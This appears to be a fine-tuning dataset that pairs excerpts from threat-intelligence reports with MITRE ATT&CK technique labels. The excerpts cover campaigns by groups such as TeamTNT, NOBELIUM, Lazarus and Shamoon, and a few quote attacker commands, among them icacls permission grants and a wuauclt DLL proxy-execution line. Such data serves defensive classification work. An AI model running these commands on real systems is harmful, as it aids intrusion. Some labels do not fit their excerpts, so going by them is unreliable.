"Attackers Abusing Legitimate Cloud Monitoring Tools to Conduct Cyber Attacks . Get Free Account . Join Now . Introduction . TeamTNT is a cybercrime group that targets cloud environments including Docker and Kubernetes instances. TeamTNT has also been spotted using a malicious Docker image which can be found on Docker Hub to infect its victims’ servers. The uniqueness of the recent attack observed by Intezer is the group abuses a legitimate open source tool called Weave Scope to gain full control over the victim’s cloud infrastructure. By installing a legitimate tool such as Weave Scope the attackers reap all the benefits as if they had installed a backdoor on the server, with significantly less effort and without needing to use malware. To install Weave Scope on the server the attackers use an exposed Docker API port and create a new privileged container with a clean Ubuntu image. Once installed, the attackers can connect to the Weave Scope dashboard via HTTP on port 4040 and gain full visibility and control over the victim’s infrastructure. To protect yourself from this attack we recommend to: - Close exposed Docker API ports: This attack takes advantage of a common misconfiguration of the Docker API which gives the attacker full control over the Docker service. Therefore, Docker API ports should be closed or contain restricted access policies in the firewall. Block incoming connections to port 4040: Weave Scope uses default port 4040 to make the dashboard accessible and anyone with access to the network can view the dashboard. Update from Weave Works . Weave Works has since provided this in-depth article on how to prevent malicious attacks using Weave Scope",['T1133 - External Remote Services'],fine_tune
"As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. CTU researchers identified an xxmm builder for xxmm (see Figure 2), which suggests that the threat actors customize the xxmm malware settings based on the target. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. After a few minutes, execute the malicious file on the system. Use malware to upload the large list of enumerated files to the C2 server. Use downloaders or other malware to send the new list to a compromised host. Use an uploader or other malware to send the archived files to an attacker-controlled server. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity. Use an advanced endpoint threat detection (AETD) solution to monitor activity on network endpoints. Also implement strict security controls for privileged accounts such as Active Directory administrator to prevent access by an unauthorized user",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"Upon initial execution, the Windows Registry is checked to determine if DarkWatchman has already been installed. The malware stores its configuration in ‘\\HKCU\Software\Microsoft\Windows\DWM\‘, using registry keys that consist of a uid generated from the serial number of the C: drive and appended with a single digit or character. Installation is denoted by uid + 0 (eg: abc1230) – if the malware does not find a ‘1‘ flag in this key, it runs its install function",['T1012 - Query Registry'],fine_tune
This variant uses an 8-byte XOR key to obfuscate API names and other strings within the payload (Figure 5). Figure 5: 8-Byte XOR Key for obfuscation,['T1027 - Obfuscated Files or Information'],fine_tune
TrailBlazer is a sophisticated malware family that provides modular functionality and a very low prevalence. TrailBlazer persists on a compromised host using WMI event subscriptions4 — a technique also used by SeaDuke — although this persistence mechanism is not exclusive to COZY BEAR.5,['T1001.001 - Junk Data'],fine_tune
"A key trait of NOBELIUM’s ongoing activity over the last year has been the abuse of indirect paths and trust relationships to target and gain access to victims of interest for intelligence gain. In the most recent campaign, this has manifested in a compromise-one-to-compromise-many approach—exploiting the service providers’ trust chain to gain broad access to multiple customer tenants for subsequent attacks. NOBELIUM leverages established standard business practices, to target downstream customers across multiple managed tenants. These delegated administrative privileges are often neither audited for approved use nor disabled by a service provider or downstream customer once use has ended, leaving them active until removed by the administrators. If NOBELIUM has compromised the accounts tied to delegated administrative privileges through other credential-stealing attacks, that access grants actors like NOBELIUM persistence for ongoing campaigns",['T1199 - Trusted Relationship'],fine_tune
"To avoid being run in sandboxes and emulators, all MegaCortex versions implement file encryption threading based on querying for the number of CPUs in the system. All MegaCortex versions can detect if the binary is running with administrator privileges",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
"GALLIUM primarily relies on compromised domain credentials to move through the target network, and as outlined above, uses several credential harvesting tools. Once they have acquired credentials, the activity group uses PsExec extensively to move laterally between hosts in the target network",['T1570 - Lateral Tool Transfer'],fine_tune
"Before being hashed, the character “0” or “1” is appended to the return value indicating root privileges. This clientID is stored in /Library/Storage/File System/HFS/25cf5d02-e50b-4288-870a-528d56c3cf6e/pivtoken.appex if the code runs as root, or in ~/Library/SmartCardsServices/Technology/PlugIns/drivers/snippets.ecgML otherwise. This file is normally hidden via the _chflags function and its timestamp is modified using the “touch –t” command with a random value",['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
"After dropping these files to its working directory, the malware attempts to change the attributes of all the files to “hidden” and grant full access to all files in the current directory and any directories below. It does this by executing “attrib +h .”, followed by “icacls . /grant Everyone:F /T /C /Q",['T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification'],fine_tune
The actors used valid credentials obtained using MimiKatz variants to escalate privileges. We’ve observed Mimikatz being executed both from the file system of victim hosts and via PowerShell cmdlets executed via Cobalt Strike BEACON. Actors have gained access to credentials via exported copies of the ntds.dit Active Directory database and SYSTEM and SECURITY registry hives from a Domain Controller,['T1003.003 - OS Credential Dumping: NTDS'],fine_tune
We analyzed a new RATANKBA variant that uses a PowerShell script instead of its more traditional PE executable form,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
The story of a Linux miner bundled with pirated copies of VST (Virtual Studio Technology) software for Windows and macOS,['T1189 - Drive-by Compromise'],fine_tune
"FIVEHANDS can receive a CLI argument for a path, this limits the ransomware's file encryption activities to the specified directory. DEATHRANSOM and HELLOKITTY do not accept CLI arguments",['T1059 - Command and Scripting Interpreter'],fine_tune
"TEARDROP is a memory only dropper that runs as a service, spawns a thread and reads from the file “gracious_truth.jpg”, which likely has a fake JPG header. Next it checks that HKU\SOFTWARE\Microsoft\CTF exists, decodes an embedded payload using a custom rolling XOR algorithm and manually loads into memory an embedded payload using a custom PE-like file format. TEARDROP does not have code overlap with any previously seen malware. We believe that this was used to execute a customized Cobalt Strike BEACON","['T1027 - Obfuscated Files or Information', 'T1140 - Deobfuscate/Decode Files or Information']",fine_tune
"However the application is not a service of Yahoo or a legitimate product of McAfee, but a rogue application used by Pawn Storm. Clicking on the “Agree” button would give Pawn Storm an OAuth token and access to the targets’ mailbox. The group then gains access to the mailbox until the token gets revoked by the service provider or the target",['T1550.001 - Application Access Token'],fine_tune
"If this function is successfully loaded, it will ultimately spawn a new instance of itself with the Rundll32Call export via a call to rundll32.exe. The Rundll32Call exported function begins by creating a named event named ‘RunOnce’. This event ensures that only a single instance of DDKong is executed at a given time. If this is the only instance of DDKong running at the time, the malware continues. This ensures that only a single instance of DDKong is executed at a given time. DDKong attempts to decode an embedded configuration using a single byte XOR key of 0xC3",['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
Command_Create&amp;Inject: This command creates a new process (using a supplied filename as the process name) and then injects malicious code into it,['T1055 - Process Injection'],fine_tune
"In order to encrypt network shares, BitPaymer will attempt to enumerate the sessions for each user logged onto the infected host and create a new process, using the token of each user. For each host, BitPaymer spawns another net.exe process with command net view &lt;host&gt; using the newly discovered host as a parameter. This will return a list of network shares available to the impersonated user on the host. Once a list of all available shares has been gathered, BitPaymer attempts to mount them to be encrypted",['T1087.001 - Account Discovery: Local Account'],fine_tune
The threat actors used scripts to create local administrator accounts disguised as legitimate backup accounts. The initial script “symantec_help.jsp” contained a one-line reference to a malicious script designed to create the local administrator account and manipulate the firewall for remote access,['T1036 - Masquerading'],fine_tune
"This file is a USB file stealer which can be also guessed by its internal name ""USBgrabber.dll"". However, the implementation is sloppy which makes it a file stealer for any newly connected logical volume on a system. This is because the malware monitors the computer for messages WM_COMMAND and WM_DEVICECHANGE, but not verifying if a USB drive was connected",['T1025 - Data from Removable Media'],fine_tune
"The job of the smaller of the two JavaScripts is to establish a system autostart mechanism. It accomplishes this by deobfuscating another script, link.js, into %TMP%. Link.js in turn creates a shortcut file ""Java(TM) Platform SE Auto Updater.lnk"" in the ""Startup"" special folder pointing to the main backdoor JavaScript","['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification']",fine_tune
"After the deletion process, the malware gets the function “Wow64RevertWow64FsRedirection” using the function “GetProcAddress” and calls it in a dynamic way to leave the system in the same state as before",['T1070 - Indicator Removal on Host'],fine_tune
"The ""Office Test"" persistence mechanism allows threat actors to execute a Trojan each time a user runs any of the Office applications. This persistence mechanism loads a malicious DLL by leveraging a registry key that appears to be used during the development and testing of Microsoft Office applications. The use of this registry key for persistence is quite clever, as it requires user interaction to load and execute the malicious payload, which makes automated analysis in sandboxes challenging. Low awareness of this persistence method, coupled with the sandbox evasion obtained from user interactions, makes this a potentially attractive persistence method that we believe may be used in future attacks. Unit 42 suggests monitoring for systems that have this registry key already created, as it is possible a threat is already using the key for persistence purposes. Microsoft has added the “Office Test” registry keys to its Autoruns tool for detection purposes as well. Also, we suggest disabling this persistence method by creating the “Office test” registry key in read-only mode as outlined in this blog",['T1137.002 - Office Application Startup: Office Test'],fine_tune
The malware performs COM hijacking by setting the path to itself to the HKCU\Software\Classes\Folder\shell\open\command key with a DelegateExecute parameter,['T1546.015 - Event Triggered Execution: Component Object Model Hijacking'],fine_tune
"The plugin begins by collecting the username of the running process, and determining if it is running under the SYSTEM account. If running as SYSTEM, the plugin will associate the active desktop with the plugin’s thread",['T1033 - System Owner/User Discovery'],fine_tune
"Figure 5: Registry Activity The script then determines the version of Powershell that is being used on the infected system. If the switch associated with the execution of Stage 3 was passed to the 'pre_logic' function at the beginning of this stage, the Stage 3 payload will then be executed immediately",['T1564.004 - Hide Artifacts: NTFS File Attributes'],fine_tune
"When executed, Kwampirs decrypts and extracts a copy of its main DLL payload from its resource section. Before writing the payload to disk, it inserts a randomly generated string into the middle of the decrypted payload in an attempt to evade hash-based detections","['T1140 - Deobfuscate/Decode Files or Information', 'T1027.001 - Obfuscated Files or Information: Binary Padding']",fine_tune
This process executes a command to maliciously use the legitimate wmic.exe to initialize an XSL Script Processing (MITRE Technique T1220) attack. The attack executes embedded JScript or VBScript in an XSL stylesheet located on a remote domain (qnccmvbrh.wilstonbrwsaq[.]pw,['T1220 - XSL Script Processing'],fine_tune
An additional batch script named “dirsb.bat” was used to gather folder and file names from hosts on the network,['T1083 - File and Directory Discovery'],fine_tune
"The malware can be instructed to search for recently-used documents or other interesting files. It can monitor specific directories and removable devices, report any changes and exfiltrate files of the attackers’ choice",['T1083 - File and Directory Discovery'],fine_tune
"The WhiteBear binary loader maintains several features including two injection methods for its (oddly named) “KernelInjector” subsystem, also named by its developer – Standart – WindowInject (includes an unusual technique for remotely placing code into memory for subsequent thread execution",['T1055.003 - Thread Execution Hijacking'],fine_tune
"The malware then focuses on corrupting the first 512 bytes, the Master Boot Record (MBR) for every Physical Drive. While that should be enough for the device not to boot again, HermeticWiper proceeds to enumerate the partitions for all possible drives",['T1561.002 - Disk Structure Wipe'],fine_tune
The lnk file (WindowsUpdateConf.lnk) executes “C:\Windows\system32\wuauclt.exe” /UpdateDeploymentProvider C:\Wíndows\system32\wuaueng.dll /RunHandlerComServer. This is an interesting technique used by Lazarus to run its malicious DLL using the Windows Update Client to bypass security detection mechanisms,['T1218 - Signed Binary Proxy Execution'],fine_tune
"While the most recent samples observed still use batch scripts and SFX files, the Gamaredon Group has moved away from applications like wget, Remote Manipulator Tool, VNC and ChkFlsh.exe. Instead of using wget the attackers are distributing custom developed downloaders, and instead of Remote Manipulator or VNC the malware is using a custom developed remote access implant",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
One of the documents is called “همبستگی عاشقانه با عاشقان آزادی2.doc” (translates from Persian as “Romantic Solidarity With Lovers of Freedom2.doc”) and contains malicious macros that are accompanied by an odd decoy message attempting to convince the victim to enable its content,['T1204.002 - User Execution: Malicious File'],fine_tune
"Once the attacker gained access to the network with compromised credentials, they moved laterally using multiple different credentials. The credentials used for lateral movement were always different from those used for remote access",['T1078 - Valid Accounts'],fine_tune
"The OilRig group maintains their persistent attacks against government entities in the Middle East region using previously identified tools and tactics. In this instance a spear phishing email was used containing a lure designed to socially engineer and entice the victim to executing a malicious attachment. The attachment was identified as a variant of the OopsIE trojan we identified in February 2018. In this iteration of OopsIE, the general functionality largely remained the same but contained the addition of anti-analysis and anti-virtual machine capabilities to further evade detection from automated defensive systems. Attack Details In July 2018, we reported on a wave of OilRig attacks delivering a tool called QUADAGENT involving a Middle Eastern government agency. During that wave, we also observed OilRig leveraging additional compromised email accounts at the same government organization to send spear phishing emails delivering the OopsIE trojan as the payload instead of QUADAGENT. The OopsIE attack also targeted a government agency within the same nation state, though a different organization than the one targeted delivering QUADAGENT. The email subject was in Arabic, which translated to “Business continuity management training”. The email was sent to an address belonging to a user group, rather than a specific individual’s email address. Evasion Techniques The OopsIE variant delivered in this attack begins its execution by performing a series of anti-VM and sandbox checks. If any of the checks described in Table 1 are successful, the Trojan will exit without running any of its functional code",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
"This function converts the given domain to “backdoor”, which can be used to login to the tenant as any user. See Open-AADIntOffice365Portal to use the backdoor",['T1484 - Domain or Tenant Policy Modification'],fine_tune
"We believe that the injected script came from the Andariel group since the code has similar obfuscation and structure to the sample we previously found from them. The script was used to collect information from visitors’ browser: browser type, system language, Flash Player version, Silverlight version, and multiple ActiveX objects",['T1592.002 - Software'],fine_tune
"As you can see from the VBScript file, the commands in the script are invoked using the wscript shell. It does two things: it creates a “RunOnce” key in the registry so that the VBScript is executed each time the user logs on the machine (indicating persistence) and second, the VBScript runs the executable file “firefox.exe",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"The task is used to start an IronPython script with the 64-bit version of the interpreter. However, the key didn’t decrypt on any of the embedded files in the scripts we found. The task’s description is PythonUpdateSrvc and it runs either on Windows startup when a user logs in or when one of two system events get created",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"Modify the shortcut that launches Telegram by replacing its path to the one corresponding to ‘exe’, as outlined below","['T1518 - Software Discovery', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification']",fine_tune
"We also identified a Tomiris variant (internally named “SBZ”, MD5 51AA89452A9E57F646AB64BE6217788E) which acts as a filestealer, and uploads any recent file matching a hardcoded set of extensions (.doc, .docx, .pdf, .rar, etc. to the C2",['T1041 - Exfiltration Over C2 Channel'],fine_tune
The loader performs a last check to ensure that the operating systems keyboard and language settings are not set to Russian and creates a mutex with a hardcoded name ‘ld_201127’. The latter is to avoid double execution of its own instance,['T1614.001 - System Location Discovery: System Language Discovery'],fine_tune
"The phishing messages were found to contain a Microsoft Word document attachment that uses VBA macros to install LookBack malware. When the attachment is executed, the malicious VBA macro within the Microsoft Word attachment drops three Privacy Enhanced Mail (PEM) files to the host: tempgup.txt, tempgup2.txt, and tempsodom.txt. Additionally, the file Temptcm.tmp, which is a version of certutil.exe, is dropped to decode the PEM files using Temptcm.tmp. The macro next creates a copy of the decoded PEM files restoring their proper file extensions with the Windows essentuti.exe. Finally, the macro launches GUP.exe and the libcurl.dll loader separately, resulting in the execution of LookBack malware",['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
"The payload file also checks for the Logmein event log in an attempt to encrypt files in remote machines or servers connected to the victim’s machine. The path to the log file is hard-coded in the payload file, as shown here",['T1219 - Remote Access Software'],fine_tune
"Here, we show an example of a PDF campaign as seen from the point of view of the affected user. This malicious PDF only contains a URL to entice the user to view the file. If the user chooses to click on the URL link and to read the actual content of the file, the browser will open a legitimate Google location which will redirect the browser to a malicious document. Browser redirection Finally, the malicious Word document is opened and the VBA macro code is run after the user allows for the editing of the content within Word. This eventually kickstarts the rest of the infection chain, terminates the Word process to hide the original file and opens a new Word instance to display a non-malicious decoy document dropped to the disk drive by one of the previous stages. Malicious Word document The decoy document remains constant throughout the campaign and is likely a side effect of the Threadkit exploit toolkit and cannot be relied upon for attribution. Decoy document opened in Word",['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
"It then allocates a buffer with PAGE_EXECUTE_READWRITE protection to store the decrypted code. After the buffers are allocated, the packer checks if a string argument, which will be used as a decryption key, was passed to the AddByGod function. Next, the packer uses the AES256 algorithm with a SHA1 derived key of the passed argument to decrypt the encrypted code. If the decryption is successful, the decrypted code is executed and a second stage payload runs. Luckily, we managed to obtain the password that was needed to execute the binary and decrypt the encrypted payload",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
It also turns off the Windows Security Center service to prevent alerting the user about the disabled firewall,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
"Further into the infection process, the malware chooses a service name randomly from netsvc in order to use it for the payload creation path. The malware then creates a file named bcdbootinfo.tlp in the system folder containing the infection time and the random service name that is chosen",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"AQUATIC PANDA continued their reconnaissance from the host, using native OS binaries to understand current privilege levels as well as system and domain details",['T1082 - System Information Discovery'],fine_tune
"While the logo and commands are identical to the original hacktool, the name was changed to OrangeTeghal. To evade security software while deploying this tool on compromised systems, the attackers use a technique revealed at Black Hat EU ‘17 in the presentation Lost in Transaction: Process Doppelgänging. Process Doppelgänging uses NTFS transactions to modify the executable of a seemingly benign process that is suspended right after creation",['T1055.013 - Process Doppelgänging'],fine_tune
"Talos has identified two different infection vectors associated with this particular campaign. The second vector is a trojanized Word document that prompts the victim to enable macros and run a Visual Basic script. In the first scenario, Talos discovered a document named ""MinutesofMeeting-2May19.docx"", that appeared to display the national flag of Jordan",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"ScreenCapture: It takes screenshots of the infected machine - Download Secondary Payloads: It downloads additional plugins and other malware - Enterprise-aware: It targets administrators and enterprises networks - Infiltrates the Exchange Server: It collects and steal sensitive information from the Microsoft Exchange mail system, including credentials and the domain certificate",['T1114.002 - Email Collection: Remote Email Collection'],fine_tune
"Other security researchers have tracked these malware families under the names BazarLoader and BazarBackdoor or Team9. This document contains an in-line link to a URL hosting a malware payload. When clicked, these links download malware binaries with file names masquerading as document files. In recent campaigns, the malware payloads have been hosted on numerous URLs associated with one or more of these legitimate services. In addition to the use of common post-exploitation frameworks such as Cobalt Strike, Metasploit and EMPIRE, we have observed the use of other backdoors, including ANCHOR, that we also believe to be under control of the actors behind TrickBot. The attackers have employed Cobalt Strike payloads crafted to maintain persistence through reboot via a scheduled task on critical systems in victim environments. In addition to the use of common post-exploitation frameworks, lateral movement has also been achieved using WMIC commands and the Windows RDP and SMB protocols. The actors have used Cobalt Strike BEACON to exfiltrate data created through network reconnaissance activities as well as user files. Although it is a low fidelity indicator, ANCHOR activity may also sometimes be identified by searching for binaries within the C:\Windows\SysWOW64 directory that have a file name matching the following pattern: &lt;8 random lowercase chars&gt;.exe. Stacking or sorting on file creation timestamps in the C:\Windows\SysWOW64 directory may also help identify malicious files, as the directory should be mostly static",['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
"X-Force IRIS found that the SDBbot RAT installers are x64-packed and decrypt parts of SDBbot’s code and strings upon execution. In addition, they read a binary blob located within the registry HKLM\\MACHINE\\SOFTWARE\\Microsoft\\[3 characters]\[1 character]. Depending on user privileges, a binary blog is located in the registry value. If regular user privileges are running, the installer component will establish persistence using the registry Run and execute ordinal #1 of the DLL",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"In some instances, we have also seen the RemcosRAT malware family delivered as the final payload. Additionally, the process attempts to lower the overall security of the system by disabling security features in Microsoft Office and Windows Defender",['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
"Following the reconnaissance phase, the threat actor attempted to dump credentials stored on the compromised machines. The most common credential stealing tool used by the threat actor was a modified mimikatz that dumps NTLM hashes. The dumped hashes were used to authenticate to other machines via pass the hash",['T1550.002 - Use Alternate Authentication Material: Pass the Hash'],fine_tune
"The attack targeted at least one organization in Saudi Arabia, which aligns with the targeting of the initial Shamoon attacks. It appears the purpose of the new Disttrack samples were solely focused on destruction, as the samples were configured with a non-operational C2 server to report to and were set to begin wiping data exactly on 2016/11/17 20:45. Disttrack uses the internal domain names and credentials to log into remote systems on the same network segment. The dropper then attempts to open the service manager on each remote system to start the RemoteRegistry service, which it will connect to using RegConnectRegistryW. The dropper then checks to see if it has administrator privileges on the remote system by attempting to open ""\system32\csrss.exe"", which allows it to determine if it can write its payload to the ""\system32"" folder on the remote system. Scheduled tasks require a time in which the task will run, which the dropper determines by calling the function NetRemoteTOD to obtain the time of day from the remote system. While completely speculative, the word “shinu” used as a parameter could be a reference to the Arabic slang for the word “what”, as well as a reference to a village name in northwestern Iran. It appears that the “drdisk.sys” driver (SHA256: 4744df6ac02ff0a3f9ad0bf47b15854bbebb73c936dd02f7c79293a2828406f6) is the exact same driver as used in the Shamoon attack in 2012. During this activity, we noticed the wiper changing the system time to August 2012, as the temporary license key for the RawDisk driver requires the system time to not exceed the month of August, which is when the temporary license would expire. The current attack campaign has several TTP overlaps with the original Shamoon campaign, especially from a targeting and timing perspective",['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
"Finally, the payloads were almost never repeated. The threat actor made sure that each payload had a unique hash, and some payloads were packed using different types of packers, both known and custom","['T1027.005 - Indicator Removal from Tools', 'T1027.002 - Obfuscated Files or Information: Software Packing']",fine_tune
"txt,log} and is also a ""cryptojacker,"" which is a tool that uses a victim’s computer to mine cryptocurrency. Nirsoft SniffPass is capable of obtaining passwords sent over non-secure protocols",['T1040 - Network Sniffing'],fine_tune
"websites visitors have a higher likelihood to be targets of interest) - Add one or more webshell backdoors to victim websites to maintain persistence - Webshell used to add JavaScript developed by OceanLotus into the website - The malicious JavaScript makes calls over HTTP or HTTPS to attacker controlled domains to typically load one of two different OceanLotus frameworks - OceanLotus JavaScript frameworks designed to track, profile, and target the compromised website's visitors - Website visitors of interest are flagged for targeting and receive special JavaScript aimed at compromising the user's system or e-mail accounts",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"Following a series of denial-of-service attacks and website defacements, the new destructive malware corrupts the master boot record (MBR), partition and file system of all available physical drives on Windows machines",['T1561.002 - Disk Structure Wipe'],fine_tune
"On October 31, TA505 sent two campaigns, both using .lnk files embedded in Microsoft Word documents. As shown in Figure 4, recipients must open the attached Word document, enable editing, and then execute the .lnk file by double clicking an image in the document. They must further confirm that they want to open the .lnk file (Figure 5), which, in turn, downloads an intermediate downloader. Despite the number of steps involved, TA505 relies on light social engineering in the email and lure as well as end user conditioning to proceed through the scheme and infect their PC with malware",['T1204.002 - User Execution: Malicious File'],fine_tune
"UNC2465 used phishing emails and legitimate services to deliver the SMOKEDHAM backdoor. SMOKEDHAM is a .NET backdoor that supports keylogging, taking screenshots, and executing arbitrary .NET commands. During one incident, the threat actor appeared to establish a line of communication with the victim before sending a malicious Google Drive link delivering an archive containing an LNK downloader. More recent UNC2465 emails have used Dropbox links with a ZIP archive containing malicious LNK files that, when executed, would ultimately lead to SMOKEDHAM being downloaded onto the system. UNC2465 has used Advanced IP Scanner, BLOODHOUND, and RDP for internal reconnaissance and lateral movement activities within victim environments. The threat actor has used Mimikatz for credential harvesting to escalate privileges in the victim network. UNC2465 also uses the publicly available NGROK utility to bypass firewalls and expose remote desktop service ports, like RDP and WinRM, to the open internet. Mandiant has observed the threat actor using PsExec and cron jobs to deploy the DARKSIDE ransomware. UNC2465 has called the customer support lines of victims and told them that data was stolen and instructed them to follow the link in the ransom note",['T1102 - Web Service'],fine_tune
"The execution of the Powershell that is passed to IEX by the Stage 1 Word document is where we begin to observe several interesting activities occurring on an infected system. One is used to determine whether or not to achieve persistence for the next stage of the infection process on the target system. If persistence is selected the other switch defines whether or not the Stage 3 code should be executed once it is staged. If the option to achieve persistence was selected when the 'pre_logic' function was called, the function will then query the infected system to determine how to best achieve persistence. Depending on the access rights of the user account within which the malware is operating, the malware will then query registry paths that are commonly used by malware to achieve persistence. If operating under an account with Administrator access to the system the script will query and set",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"While operating in the victim’s internal network, the threat actor accessed sensitive information specific to the products and services that the victim organization provided. This information included items such as product/service architecture and design documents, vulnerabilities and step-by-step instructions to perform various tasks. Additionally, the threat actor viewed pages related to internal business operations such as development schedules and points of contact",['T1213 - Data from Information Repositories'],fine_tune
"All observed attacks start with an email message, containing either a malicious attachment or a URL which leads to the first stage of the attack. The text of the emails is likely taken from legitimate email, such as mailing lists that targeted organisations may be subscribed to. Below are three examples, with the first one purporting to be sent by the European Banking Federation and is using a newly registered domain for the spoofed sender email address. The attachment is a malicious PDF file that entices the user to click on a URL to download and open a weaponized RTF file containing exploits for CVE-2017-11882, CVE-2017-8570 and CVE-2018-8174. This campaign contains a URL, which points to a malicious Word document where the infection chain is triggered by the user allowing the VBA macro code to run. Observed email campaign 2 The third campaign, sent on July 10, is a more personal campaign that targets a variety of businesses. The subject indicates that this is a complaint about problems with services provided by the target company, allegedly listed in an attached document. The attachment is an RTF document containing exploits that start the chain of several infection stages until the final executable payload is downloaded and loaded in the memory of the infected system. All emails lead to stage 1 of the attack chain. Observed email campaign 3",['T1204.002 - User Execution: Malicious File'],fine_tune
The batch files involved in the attack modify the system service COMSysApp to load the malicious ipnet.dll. The contents of the batch files vary depending on the OS (x64 vs x86,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"While the image is displayed, the code drops an unusual mspaint.lnk shortcut to disk and launches it. The shortcut maintains a multiline target shell script. The 64kb lnk file is downloader code","['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell']",fine_tune
This spyware registers itself as a system service to ensure its automatic execution at every system startup by adding the following registry entries,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"As has been previously reported, there are two variants of the trojan TinkaOTP. The version that has received the most attention contains the malware payload in the application bundle’s Resources folder. The file is a Mach-O binary disguised as a .nib file, at ../Resources/Base.lproj/Submenu.nib. This file is copied directly to the users Library folder and renamed as .mina. The dot prefix is added in order to make it invisible in the Finder",['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
"At the beginning of 2017, Silent Librarian began to regularly obtain free Let’s Encrypt SSL certificates for their phishing pages. This technique, which we have previous discussed at length in blog posts from November and December, is used to create more realistic-looking phishing pages",['T1588.004 - Digital Certificates'],fine_tune
The group appears to maintain a stockpile of stolen certificates and deploys their downloaders and the backdoors signed with them. Some of the more recent revoked certificates include ones that belong to Xuchang Hongguang Technology Co,['T1553.002 - Code Signing'],fine_tune
"Lucifer also checks for the presence of following device drivers, DLLs, and virtual devices. If any of these objects are detected, the malware enters an infinite loop, stopping its execution from going further",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
"If so, it stops the execution and deletes the folder containing the malicious script from this machine. Download the malicious files onto the machine: the same batch file downloads a cab archive named env.cab from a remote address in the internal network: \\railways.ir\sysvol\railways.ir\scripts\env.cab. The use of specific hostnames and internal paths indicates the attacker had prior knowledge of the environment. It moves wiper-related files to “C:\temp” and creates a scheduled task named mstask to execute the wiper only once at 23:55:00",['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
"The HTTP mode is the same communication method used in variants of the malware from 2018. Although it uses the non-encrypted HTTP protocol to communicate with the C2 it manually encrypts the contents of the requests to hide data from packet inspection. The malware creates an AES session key and initial value (as detailed in Appendix C) which are base64 encoded, appended to each other with a \n separator. Once appended, it is further encrypted with a hardcoded RSA public key and base64 encoded again and obfuscated before being sent to the C2 as the body of a POST request",['T1573.001 - Symmetric Cryptography'],fine_tune
BBSRAT accepts many possible commands that the C2 server can provide. These commands are sent as a response to the GET beacons that are continually requested via either HTTP or HTTPS. The following commands and sub-commands have been identified,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"This watchdog process also ensures that the Cardinal RAT process is always running, as well as ensures that the executable is located in the correct path. Should either of these conditions not be met, the watchdog process will spawn a new instance of Cardinal RAT, or write Cardinal RAT to the correct location, respectively",['T1057 - Process Discovery'],fine_tune
"The REvil (also known as Sodinokibi) ransomware was first identified on April 17, 2019. It is used by the financially motivated GOLD SOUTHFIELD threat group, which distributes ransomware via exploit kits, scan-and-exploit techniques, RDP servers, and backdoored software installers. Secureworks® Counter Threat Unit™ (CTU) analysis suggests that REvil is likely associated with the GandCrab ransomware due to similar code and the emergence of REvil as GandCrab activity declined. CTU™ researchers attribute GandCrab to the GOLD GARDEN threat group",['T1195.002 - Compromise Software Supply Chain'],fine_tune
"In one intrusion, the first second-stage custom loader (TEARDROP) was introduced to the environment by BusinessLayerHost.exe at around 10:00 AM UTC. 7z.dll), Far Manager (e.g. The Variant 2 custom loaders were mostly compiled from open-source source code of legitimate applications, such as 7-Zip and Far Manager (i.e. the open-source source code for these applications was modified to add in the malicious code). In some instances, certain development artifacts were left behind in the custom loader samples. For example, the following C++ header (.hpp) path was observed in a loader compiled from a modified Far Manager open-source source code (c:\build\workspace\cobalt_cryptor_far (dev071)\farmanager\far\platform.concurrency.hpp",['T1036 - Masquerading'],fine_tune
"KernelCallbackTable is initialized to an array of callback functions when user32.dll is loaded into memory, which are used whenever a graphical call (GDI) is made by the process. To hijack the control flow, malware replaces the USER32. _fnDWORD callback in the table with the malicious WMIsAvailableOffline function. Once the flow is hijacked and malicious code is executed the rest of the code takes care of restoring the KernelCallbackTable to its original state",['T1070 - Indicator Removal on Host'],fine_tune
"In this case, repotaj.dll, which is ServHelper, will be extracted to %TEMP% and execute with the “feast” parameter as its export function. Once ServHelper is executed, it runs a PowerShell script to get information from the infected machine",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"The malware tries to delete the shadow copies two times, once before crypting the files in the infected system and secondly after crypting them",['T1490 - Inhibit System Recovery'],fine_tune
"Apart from being a flexible and easy-to-use scripting language, BLADABINDI’s use of AutoIt is notable. It uses AutoIt (the FileInstall command) to compile the payload and the main script into a single executable, which can make the payload — the backdoor — difficult to detect",['T1027.004 - Obfuscated Files or Information: Compile After Delivery'],fine_tune
